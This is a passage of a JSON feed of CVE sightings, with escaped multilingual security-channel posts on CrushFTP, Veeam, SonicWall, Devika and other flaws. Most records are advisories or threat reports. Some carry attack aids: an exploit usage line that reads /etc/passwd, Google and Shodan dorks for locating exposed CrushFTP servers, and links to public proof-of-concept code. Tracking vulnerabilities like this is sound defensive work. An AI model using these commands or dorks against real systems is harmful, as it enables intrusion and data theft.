\u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0437\u0430\u0440\u0430\u043d\u0435\u0435. \n\n\ud83e\udd37\u200d\u2642\ufe0f \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u0434\u044b\u0440\u044f\u0432\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u2013 \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438!\n\u041d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0436\u0434\u0430\u0442\u044c, \u043f\u043e\u043a\u0430 \u0432\u0430\u0448 \u0440\u043e\u0443\u0442\u0435\u0440 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u0432 \u0447\u0435\u0439-\u0442\u043e \u0431\u043e\u0442\u043d\u0435\u0442. \u041b\u0443\u0447\u0448\u0435 \u0432\u043b\u043e\u0436\u0438\u0442\u044c\u0441\u044f \u0432 \u043d\u043e\u0432\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442, \u0447\u0435\u043c \u0441\u0442\u0430\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432. \n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0443\u0442\u0435\u0447\u043a\u0438 \u0438 \u0418\u0411 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-04T00:00:33.093856Z"}, {"uuid": "67931f57-01eb-420b-bfa3-beb6ba10c946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-multiple-vulnerabilities-sonicwall-patch-immediately", "content": "", "creation_timestamp": "2026-05-19T07:27:35.000000Z"}, {"uuid": "0c4f0aa2-7534-4fb0-b080-5abc810d737d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2222", "content": "Veeam Backup & Response - RCE With Auth, But Mostly Without Auth (CVE-2024-40711)\n\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/", "creation_timestamp": "2026-08-04T01:00:04.332097Z"}, {"uuid": "70ce6375-649b-4741-a1cd-84c52a6eff30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40422", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3ms4f5kn6af22", "content": "\ud83e\udd16 CVE-2024-40422 (CVSS 9.1): path traversal in Devika v1's /api/get-browser-snapshot endpoint. New Python PoC reads arbitrary files via the snapshot_path parameter.\nhttps://github.com/alpernae/CVE-2024-40422", "creation_timestamp": "2026-08-02T16:18:52.891368Z"}, {"uuid": "0279e47f-db01-4858-95f9-6c43fd7b454f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-20)", "content": "", "creation_timestamp": "2026-05-20T00:00:00.000000Z"}, {"uuid": "9d198ef5-ea33-4dd2-ad74-f5532a47defb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/pentestnotes/14", "content": "CVE-2024-4040 CrushFTP  RCE\n*\nCrushFTP \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 10.7.1 \u0438 11.1.0 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b VFS, \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430\n*\nUsage:\npython exploit.py -u https://example.com -p /etc/passwd\n*\nExploit\n\n#rce #ftp", "creation_timestamp": "2026-08-05T00:00:33.102320Z"}, {"uuid": "bdd40ee4-f62a-4b62-a4e8-0a8e0ff4b6c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40624", "type": "published-proof-of-concept", "source": "https://github.com/torrentpier/torrentpier/security/advisories/GHSA-fg86-4c2r-7wxw", "content": "", "creation_timestamp": "2024-07-13T12:35:10.000000Z"}, {"uuid": "8154ea32-bf54-407a-9979-cb319d435c4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/2222", "content": "Veeam Backup & Response - RCE With Auth, But Mostly Without Auth (CVE-2024-40711)\n\nhttps://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/", "creation_timestamp": "2026-08-05T00:01:00.546266Z"}, {"uuid": "c47373c8-3181-40e3-a371-f4a5c724d40c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40684", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3msjcipa46424", "content": "A critical-severity fix just shipped for Ibm Operations Analytics Log Analysis. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2024-40684", "creation_timestamp": "2026-08-07T19:36:02.516846Z"}, {"uuid": "691c9418-441c-4d44-974b-b9c2129b0b49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40644", "type": "published-proof-of-concept", "source": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-mgvv-9p9g-3jv4", "content": "", "creation_timestamp": "2024-07-18T06:48:17.000000Z"}, {"uuid": "994a790b-4556-4695-a387-d8f0b31d7dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40634", "type": "published-proof-of-concept", "source": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-jmvp-698c-4x3w", "content": "", "creation_timestamp": "2024-07-22T15:41:48.000000Z"}, {"uuid": "be28ec11-54d2-4bfa-853a-406defe96c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40636", "type": "published-proof-of-concept", "source": "https://github.com/SteeltoeOSS/security-advisories/security/advisories/GHSA-vmcp-66r5-3pcp", "content": "", "creation_timestamp": "2024-07-17T13:44:40.000000Z"}, {"uuid": "a687f173-d40e-42aa-9cc3-72637da23976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-40641", "type": "published-proof-of-concept", "source": "https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h", "content": "", "creation_timestamp": "2024-07-17T17:19:36.000000Z"}, {"uuid": "628c2451-479f-4519-8710-0191e67be6c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/423", "content": "Crushed | Exploiting Arbitrary File Read on CrushFTP! (CVE-2024-4040)\n\nGoogle Dork: intitle:\"CrushFTP WebInterface\" inurl:/WebInterface/login.html\n\nShodan Dork: http.favicon.hash:-1022206565\n\nPOC: https://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2024-05-24T05:47:55.000000Z"}, {"uuid": "334d91bf-1f86-41f7-9a38-dd50d383995c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-19)", "content": "", "creation_timestamp": "2026-08-20T10:15:19.454155Z"}, {"uuid": "6dcdcdee-1cbf-455d-b8c3-498e2e9bde33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40646", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnaukckh6l2a", "content": "\u8106\u5f31\u6027: \u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u3001\u6a29\u9650\u6607\u683c \u5f71\u97ff: \u60aa\u610f\u3042\u308b\u30e6\u30fc\u30b6\u30fc\u304c\u8a8d\u8a3c\u305b\u305a\u306b\u30a2\u30af\u30bb\u30b9\u3001\u7ba1\u7406\u8005\u6a29\u9650\u3067\u306e\u64cd\u4f5c\u304c\u53ef\u80fd\nCVE-2024-40646 CVSS 8.6 | HIGH", "creation_timestamp": "2026-06-01T19:59:07.815601Z"}, {"uuid": "5c4a7ae7-9b6c-4eed-a2d3-0123a6a6bf2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/purp_sec/1160", "content": "\ud83d\udc41 Arctic Wolf \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 Akira \u043d\u0430 SonicWall SSL-VPN\n\n\u0421 \u043a\u043e\u043d\u0446\u0430 \u0438\u044e\u043b\u044f \u043f\u043e 20 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2025 \u0433\u043e\u0434\u0430 Akira \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0430 \u0432\u043e\u043b\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u0447\u0435\u0440\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435/\u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 SSL-VPN \u043b\u043e\u0433\u0438\u043d\u044b \u043a SonicWall, \u0437\u0430\u0442\u0435\u043c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u0438\u043d\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 Impacket-stil\u0435 SMB discovery \u0438 \u0431\u044b\u0441\u0442\u0440\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Akira. \u0412\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 1-2 \u0447\u0430\u0441\u043e\u0432 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043b\u043e \u0442\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e MFA (OTP). Arctic Wolf \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u0432\u0430 \u043f\u0443\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043c\u0443\u043b\u044c\u0442\u0438\u0444\u0430\u043a\u0442\u043e\u0440: \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f OTP seed/\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0431\u043e\u0440 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a CVE-2024-40766, \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435. \u0414\u043b\u044f \u0432\u0441\u0435\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u043d\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0435 OTP-\u043b\u043e\u0433\u0438\u043d\u044b \u0432 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\u0421\u0432\u044f\u0437\u044c \u0441 CVE-2024-40766 \u2014 \u044d\u0442\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u043e\u0441\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043b\u043e\u0433\u0438\u043d\u043e\u0432. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043f\u0440\u0438 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c OTP seeds/secret, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c MFA.\n\n\ud83d\udd17 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u0437\u043e\u0440\u0435.\n\n#blue_team #Akira", "creation_timestamp": "2026-08-14T16:00:06.494336Z"}, {"uuid": "70eb809b-b25d-4169-9f11-70474f4f4ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4082", "type": "seen", "source": "https://t.me/purp_sec/441", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u041e\u0421 Unity 5.4 \u2014 \u0435\u0449\u0435 \u043c\u043d\u043e\u0433\u043e CVE, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445, \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Dell Unity. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 CVE-2025-22398 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 Dell Unity, UnityVSA \u0438 Unity XT. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 root.\n\n\ud83d\udd35 CVE-2024-12021 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Coverity, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XSS-\u0430\u0442\u0430\u043a\u0443. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c XSS-\u0430\u0442\u0430\u043a.\n\n\ud83d\udd35 CVE-2025-0282 \u2014 \u043e\u0442\u0447\u0435\u0442 CISA \u043e \u043d\u043e\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e RESURGE, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u043c CVE-2025-0282 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430) \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ivanti Connect Secure.\n\n\n\u0410 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE \u0434\u043b\u044f \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432 \u0432 WordPress:\n\n\ud83d\udd35 CVE-2025-2294 \u2014 LFI-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kubio AI Page Builder \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2024-3628 \u2014 \u0431\u0430\u0433 \u0432 EasyEvent, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c XSS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2024-4082 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Joli FAQ SEO, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 CSRF-\u0430\u0442\u0430\u043a. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n\ud83d\udd35 CVE-2024-3923 \u2014 \u200b\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Beaver Builder, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u0441\u0435\u0449\u0430\u044e\u0449\u0438\u0445 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-14T16:00:20.629349Z"}, {"uuid": 